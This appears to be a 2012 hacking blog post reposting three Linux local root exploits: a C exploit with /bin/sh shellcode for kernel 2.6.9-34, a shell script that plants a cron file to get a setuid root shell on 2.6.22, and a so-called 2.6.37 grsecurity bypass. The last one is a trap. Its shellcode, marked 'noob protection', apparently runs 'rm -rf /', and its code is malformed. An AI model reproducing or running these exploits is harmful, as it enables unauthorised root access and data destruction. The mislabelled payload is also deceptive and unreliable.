VnChecked: Rooted

Friday, June 29, 2012

Linux Kernel 2.6.9-34 Local root Exploit

/*
==========================================
Linux Kernel 2.6.9-34 Local root Exploit
==========================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm Angel Injection member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
########################################################################
**
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <linux/a.out.h>
#include <asm/unistd.h>

static struct exec ex;
static char *e[256];
static char *a[4];
static char b[512];
static char t[256];
static volatile int *c;

/* shell code */
__asm__ (" __excode: call 1f \n"
" 1: mov $23, %eax \n"
" xor %ebx, %ebx \n"
" int $0x80 \n"
" pop %eax \n"
" mov $cmd-1b, %ebx \n"
" add %eax, %ebx \n"
" mov $arg-1b, %ecx \n"
" add %eax, %ecx \n"
" mov %ebx, (%ecx) \n"
" mov %ecx, %edx \n"
" add $4, %edx \n"
" mov $11, %eax \n"
" int $0x80 \n"
" mov $1, %eax \n"
" int $0x80 \n"
" arg: .quad 0x00, 0x00 \n"
" cmd: .string \"/bin/sh\" \n"
" __excode_e: nop \n"
" .global __excode \n"
" .global __excode_e \n"
);

extern void (*__excode) (void);
extern void (*__excode_e) (void);

void
error (char *err)
{
perror (err);
fflush (stderr);
exit (1);
}

/* exploit this shit */
void
exploit (char *file)
{
int i, fd;
void *p;
struct stat st;

printf ("\ntrying to exploit %s\n\n", file);
fflush (stdout);
chmod ("/proc/self/environ", 04755);
c = mmap (0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0);
memset ((void *) c, 0, 4096);

/* slow down machine */
fd = open (file, O_RDONLY);
fstat (fd, &st);
p =
(void *) mmap (0, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
if (p == MAP_FAILED)
error ("mmap");
prctl (PR_SET_DUMPABLE, 0, 0, 0, 0);
sprintf (t, "/proc/%d/environ", getpid ());
sched_yield ();
execve (NULL, a, e);
madvise (0, 0, MADV_WILLNEED);
i = fork ();

/* give it a try */
if (i)
{
(*c)++;
!madvise (p, st.st_size, MADV_WILLNEED) ? : error ("madvise");
prctl (PR_SET_DUMPABLE, 1, 0, 0, 0);
sched_yield ();
}
else
{
nice(10);
while (!(*c));
sched_yield ();
execve (t, a, e);
error ("failed");
}

waitpid (i, NULL, 0);
exit (0);
}

int
main (int ac, char **av)
{
int i, j, k, s;
char *p;

memset (e, 0, sizeof (e));
memset (a, 0, sizeof (a));
a[0] = strdup (av[0]);
a[1] = strdup (av[0]);
a[2] = strdup (av[1]);

if (ac < 2)
error ("usage: binary <big file name>");
if (ac > 2)
exploit (av[2]);
printf ("\npreparing");
fflush (stdout);

/* make setuid a.out */
memset (&ex, 0, sizeof (ex));
N_SET_MAGIC (ex, NMAGIC);
N_SET_MACHTYPE (ex, M_386);
s = ((unsigned) &__excode_e) - (unsigned) &__excode;
ex.a_text = s;
ex.a_syms = -(s + sizeof (ex));

memset (b, 0, sizeof (b));
memcpy (b, &ex, sizeof (ex));
memcpy (b + sizeof (ex), &__excode, s);

/* make environment */
p = b;
s += sizeof (ex);
j = 0;
for (i = k = 0; i < s; i++)
{
if (!p[i])
{
e[j++] = &p[k];
k = i + 1;
}
}

/* reexec */
getcwd (t, sizeof (t));
strcat (t, "/");
strcat (t, av[0]);
execve (t, a, e);
error ("execve");
return 0;
}

# 1337day.com [2011-10-08]

Linux Kernel 2.6.22 Local root Exploit

#!/bin/sh
=======================================
Linux Kernel 2.6.22 Local root Exploit
=======================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm Angel Injection member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
########################################################################
cat > /tmp/getsuid.c << __EOF__
#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * * root chown root.root /tmp/s ; chmod 4777 /tmp/s ; rm -f /etc/cron.d/core\n";
int main() {
int child;
struct rlimit corelimit;
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
if ( !( child = fork() )) {
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(200);
exit(1);
}
kill(child, SIGSEGV);
sleep(120);
}
__EOF__
cat > /tmp/s.c << __EOF__
#include<stdio.h>
main(void)
{
setgid(0);
setuid(0);
system("/bin/sh");
system("rm -rf /tmp/s");
system("rm -rf /etc/cron.d/*");
return 0;
}
__EOF__
echo "wait aprox 4 min to get sh"
cd /tmp
cc -o s s.c
cc -o getsuid getsuid.c
./getsuid
./s
rm -rf getsuid*
rm -rf s.c
rm -rf prctl.sh
# 1337day.com [2011-10-06]

2.6.37 2011 Private Local Root Exploits

*
* modified by CrosS to bypass grsecurity and PaX on
* linux kernels
*
* Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak
* ================================================
* Information leak exploit for CVE-2010-4077 which
* leaks kernel stack space back to userland due to
* uninitialized struct member "reserved" in struct
* serial_icounter_struct copied to userland. uses
* ioctl to trigger memory leak, dumps to file and
* displays to command line.
*
* -- prdelka
*
* by CrosS from r00tw0rm.com - Privat Community
*/
#include <termios.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/serial.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
printf("Local root 2.6.37 exploit to bypass grsecurity and/or PaX by CrosS.\n");
printf("aka ultimate auto rooter\n");
printf("Shoutz to 1337day cr3w for helping!.\n");
printf("http://www.r00tw0rm.com/forum.\n");
int main(int argc, char* argv[]) {
int fd, ret = 0, i;
struct serial_icounter_struct buffer;
printf("[ Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak exploit\n");
if(argc < 2){
printf("[ You need to supply a device name e.g. /dev/ttyS0\n");
exit(-1);
};
memset(&buffer,0,sizeof(buffer));
if((fd = open(argv[1], O_RDONLY)) == -1){
printf("[ Couldn't open %s\n",argv[1]);
exit(-1);
}
if((ioctl(fd, TIOCGICOUNT, &buffer)) == -1){
printf("[ Problem with ioctl() request\n");
exit(-1);
}
close(fd);
for(i=0;i<=9;i++){
printf("[ int leak[%d]: %x\n",i,buffer.reserved[i]);
};
// bm9vYiBwcm90ZWN0aW9u
char shelllcode[] ="x6ax0bx58x99x52x6ax2fx89xe7x52x66x68x2dx66x89 "
"xe6x52x66x68x2dx72x89xe1x52x68x2fx2fx72x6dx68 "
"x2fx62x69x6ex89xe3x52x57x56x51x53x89xe1xcdx80 ";
(*(void (*)()) shelllcode)();
if((fd = open("./leak", O_RDWR | O_CREAT, 0640)) == -1){
printf("[ Can't open file to write memory out\n");
exit(-1);
}
for(i=0;i<=9;i++){
ret += write(fd,&buffer.reserved[i],sizeof(int));
}
close(fd);
printf("[ Written %d leaked bytes to ./leak\n",ret);
exit(0);
}